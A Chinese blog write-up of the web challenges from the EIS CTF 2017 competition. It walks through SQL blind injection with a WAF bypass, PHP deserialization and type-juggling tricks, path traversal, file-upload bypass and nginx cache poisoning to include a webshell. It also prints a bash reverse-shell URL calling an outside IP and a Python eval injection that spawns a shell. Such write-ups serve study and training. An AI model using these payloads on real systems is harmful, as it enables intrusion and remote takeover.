EIS CTF 2017 Web Write-up

上交高校运维比赛

Posted by Xiaoxi on November 5, 2017

EIS CTF

Login

1

盲注,存在waf

and 空格被过滤,用%a0绕过空格,&&替代为and。

uname=admin'%a0%26%26%a0pwd>'1'--%a0&pwd=admin

用burpsuite依次爆破,即可。(字符串可以比较)

PHP是最好的语言

http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php.bak存在文件泄漏

<?php
$v1=0;$v2=0;$v3=0;
$a=(array)unserialize(@$_GET['foo']);
if(is_array($a)){
    is_numeric(@$a["param1"])?exit:NULL;
    if(@$a["param1"]){
        ($a["param1"]>2017)?$v1=1:NULL;
    }
    if(is_array(@$a["param2"])){
        if(count($a["param2"])!==5 OR !is_array($a["param2"][0])) exit;
        $pos = array_search("nudt", $a["param2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["param2"] as $key=>$val){
            $val==="nudt"?die("nope"):NULL;
        }
        $v2=1;
    }
}
$c=@$_GET['egg'];
$d=@$_GET['fish'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
        eregi("M|n|s",$d.$c[0])?err():NULL; 
        strpos(($c[0].$d), "MyAns")?$v3=1:NULL;
    }
}
if($v1 && $v2 && $v3){
    include "flag.php";
    echo $flag;
}

?>


参考https://mo-xiaoxi.github.io/2016/07/24/X-NUCA/的Web4即可。

Payload:

http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php?foo=a:5:{s:6:"param1";s:9:"2018adsad";s:6:"param2";a:5:{i:0;a:1:{i:0;i:0;}i:1;i:0;i:2;i:2;i:3;i:3;i:4;i:4;}s:2:"a2";i:3;s:1:"d";i:4;s:1:"e";i:5;}&egg[1][]=%221%22&fish=%00&egg[0]="MyAns"

2

文件上传

水题,用数组绕过正则过滤。设定文件名后缀为.php,文件内容上传时,将上传内容字段设为数组,即可绕过对尖括号的过滤。访问上传的php文件后即可得到flag。

随机数

<?php
for($i=0;$i<1001;$i++) {
   srand($i);
   echo $i.' : '.rand(0,1000).', '.rand(0,1000).', '.rand(0,1000).', '.rand(0,1000).'</br>';
}
?>

通过上述代码生成了一个类似彩虹表的东西,查询一下即可。

3

PHP代码审计

<?php   
error_reporting(0); 
include "flag1.php"; 
highlight_file(__file__); 
if(isset($_GET['args'])){ 
    $args = $_GET['args']; 
    if(!preg_match("/^\w+$/",$args)){ 
        die("args error!"); 
    } 
    eval("var_dump($$args);"); 
} 

$GLOBALS — 引用全局作用域中可用的全部变量

$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。

PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。

传入一个args变量,正则校验之后,最后就是$$args,这个是重点,即传入的一个变量的值还可以作为另一个变量名,因此尝试利用PHP中神奇的全局变量global,查看这个变量中包含的数据,flag就在其中.

Payload:http://202.112.26.124:8080/edd1620126f2caeb5c2b3b9452fa2639/index.php?args=GLOBALS

快速计算

写个脚本交互一下即可。

import requests
import re
url = 'http://202.120.7.220:2333/'
res = requests.get(url)
calc = re.search(r'<br/>(.*)=<', res.content).groups()[0]
v = eval(calc)
print calc, '=', v
res = requests.post('http://202.120.7.220:2333/index.php', data={"v": v})
print res.content

php trick

注释获得源码:

<?php     
		$flag='xxx';     
		extract($_GET);     
		if(isset($gift)){        
		    $content=trim(file_get_contents($flag));
		    if($gift==$content){ 
		       echo'flag';     }
		     else{       
		       echo'flag被加密了 再加密一次就得到flag了';}   
		     } 
		?>

利用php:/input和变量覆盖即可。

4

不是管理员也能登录

源码泄漏:

 $test=$_GET['userid']; $test=md5($test); 
   if($test != '0'){ 
      	$this->error('用户名有误,请阅读说明与帮助!'); 
   	}
$pwd =$this->_post("password");
$data_u = unserialize($pwd);
if($data_u['name'] == 'XX' && $data_u['pwd']=='XX')
    {
      print_r($flag);
    }

前者是md5成0e开头的字符串即可。后者利用布尔弱类型绕过。参考:http://www.cnblogs.com/ssooking/p/5877086.html

5

Apache

Hacklu原题,队内大佬carry。

通过__libc_start_main劫持strlen函数来安装后门,满足条件的payload可以被system执行,最后首先发送一个正常的get请求,再发送/index.html?eqeqeqbnbnbnbnbkwkwkwkwhththththqeq=bash_-c_‘bash_-i_>&_/dev/tcp/202.112.50.114/5555_0>&1’获得一个reverse shell,直接cat flag.txt即可。

URL 中需有 ‘dpdpdpamamamamajvjvjvjvgsgsgsgsgpdp’ or ‘eqeqeqbnbnbnbnbkwkwkwkwhththththqeq’,后⾯面跟命令即可,其中下划线会被替换为空格。

SimpleCMS

这题比赛的时候没做出来,应该是缓存的问题。以前没研究过,不是很懂。

信息:

  1. 两个文件包含点:

    • ?page=../../../../../../../../etc/passwd

      <?php
          if (isset($_GET['page'])) {
              $page = $_GET['page'];
          } else {
              $page = 'a.php';
          }
      
          $path = './pages/' . $page;
          $path = realpath($path);
      
          if (is_file($path)) {
              include $path;
          } else {
              echo '<p>Page not found!</p>';
          }
      

    • /static.php?f[]=/etc/passwd

      
      chdir('./static');
      
      if (!isset($_GET['f'])) {
          die();
      }
      
      // fix Content-Type if possible
      $uri = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH));
      $ext_pos = strrpos($uri, '.');
      $ext = strtolower(substr($uri, $ext_pos + 1));
      switch($ext) {
          case 'css':
              header('Content-Type: text/css');
              break;
          case 'js':
              header('Content-Type: application/javascript');
              break;
      }
      
      $static_files = $_GET['f'];
      
      if (!is_array($static_files)) {
          $static_files = array($static_files);
      }
      
      foreach($static_files as $file) {
          if (is_file($file)) {
              echo file_get_contents($file);
          } else {
              die("{$file} not exists!");
          }
      }
      

  2. 部分HTTP回复包,头部有“X-Proxy-Cache: BYPASS”,怀疑是include一个缓存临时文件。

赛后看了浙大和福州大学的WP,发现真的是缓存!!orz,学习一波。

主要要查看fastcgi的缓存配置:/etc/nginx/nginx.conf

fastcgi

缓存的命名的规则是:md5($host$url),然后是1:2的命名法。则目录为tmp/后一位/后三-二位/md5

注意:nginx 的 $host 是不带端口的,缓存需注意。

如:

202.120.7.205/static.php/l.js ,md5 哈希过后得到的值为 bbbcb40ec7f308548f1d387c5ca763ba 按照配置⽂文件中所规定的 1:2 的命名法,可以得到完整路路径 为: /tmp/a/3b/bbbcb40ec7f308548f1d387c5ca763ba

然后,利用/static.php会对.css和.js结尾文件进行缓存的特性。而且当其缓存一个不存在的文件时,会直接输出文件名。也就是说,缓存一个不存在的文件时,缓存临时文件还会生成,里面的内容会是xxx not exists!xxx指文件名。

那么,我们就能利用这个特性,缓存一个一句话到缓存目录。

福州大学WP截图:

cache1

接着,只需要利用page的文件包含,进行利用即可。文件位置利用前面说的缓存规则推算而得。

如下:

cache2

getshell成功,查看一下flag即可。

PS:人对未知的东西总是充满恐惧,做题的时候想到了缓存,但是因为以前没接触过,就害怕,放弃了。自省!

验证码

这题没做出来,Websocket也不是很懂。学习了下Melody的WP,不过现在还不理解他如何做到将melody.py上传上去的。题目环境又关了,没办法复现😭。

贴上他的题解:

本题逻辑十分简单,请求服务器器⼀个验证码,服务器器返回字符画。请求结果,服务端校验结果。有⼀个隐藏的 help 指令,可以 reconnect,问题在于如何指定 reconnect 的服务器,将发给 ws 服务的 json 中的值依次替换成 [] 可以通过报错信息推断后端逻辑,得到 method 会被带⼊入到 getattr 中,那么必须得是⼀一个类中规定好的⽅方 法才能够带⼊入进来,可行的操作并不不多,测试了__init__ 函数,根据错误信息发现可以带⼊两个参数, 因此发包如下

{“method”:”init”,”args”:[ip,port]}

接着调⽤用 reconnect

{“method”:”reconnect”}

此时服务器器上监听的端⼝口已收到信息。

我们继续请求新的验证码,发现服务端向我们请求⼀一个操作符,操作数由服务端⽣生成好了了,因此猜测整个表达式被带⼊入到 eval 中得到返回值,再给客户校验计算结果。那么答案也就显⽽易见了。我们将给客户的操作符定 义为

+__import__('os').system('python\x20/tmp/melody.py')+

那么被带⼊入到后端就会变成

eval("1+__import__('os').system('python\x20/tmp/melody.py')+2")

我们的代码就得到执⾏行行了了,尝试后成功反弹 shell。 最后在 arifmetics.py 中找到 flag。

cat ar* 
import asyncio 
from hashlib import md5 
from random import choice, randint 
from threading import Thread

SALT = b"EIS{87a5d7e4aae098be036d6b8035e4}

DNS 101

利用NSEC能获得下一条数据的信息,来重复获取下一个dns记录。(不是漏洞。。感觉很纯粹的misc…)

具体参考段老师的博客:https://netsec.ccert.edu.cn/duanhx/?p=1479

2.1.4 NSEC记录

NSEC记录是为了应答那些不存在的资源记录而设计的。为了保证私有密钥的安全性和服务器的性能,所有的签名记录都是事先(甚至离线)生成的。服务器显然不能为所有不存在的记录事先生成一个公共的“不存在”的签名记录,因为这一记录可以被重放(Replay);更不可能为每一个不存在的记录生成独立的签名,因为它不知道用户将会请求怎样的记录。

在区数据签名时,NSEC记录会自动生成。比如在vpn.test.net和xyz.test.net之间会插入下面的这样两条记录:

vpn.test.net. 10800 IN A 192.168.1.100

172800 NSEC xyz.test.net. A RRSIG NSEC

172800 RRSIG NSEC 5 5 172800 20110611031416 (

20110512031416 5271 test.net.

Ujw/aq….15dV5tF7XgWSR78= )

xyz.test.net. 10800 IN A 192.168.1.200

其中NSEC记录包括两项内容:排序后的下一个资源记录的名称(xyz.test.net.)、以及vpn.test.net.这一名称所有的资源记录类型(A、RRSIG、NSEC),后面的RRSIG记录是对这个NSEC记录的数字签名。

在用户请求的某个域名在vpn和xyz之间时,如www.test.net.,服务器会返回域名不存在,并同时包括 vpn.test.net的NSEC记录

写一个脚本递归查询:

#!/bin/bash

query="0ouqoeflewroatrouwroafl0priexlev.zzzzzzz.flag.src.edu-info.edu.cn"

while true; do
	echo "Digging $query"
	res=$(dig "$query" any +short +dnssec)
	echo $res
	query=$(echo $res | egrep -o "[a-z0-9\.\-]+\.zzzzzzz\.flag\.src.edu-info\.edu.cn\.")
	if [[ $query == "" ]]; then break; fi
	if echo -n "$query" | grep "flag-id-"; then
		dig "$query" txt
		break
	fi
done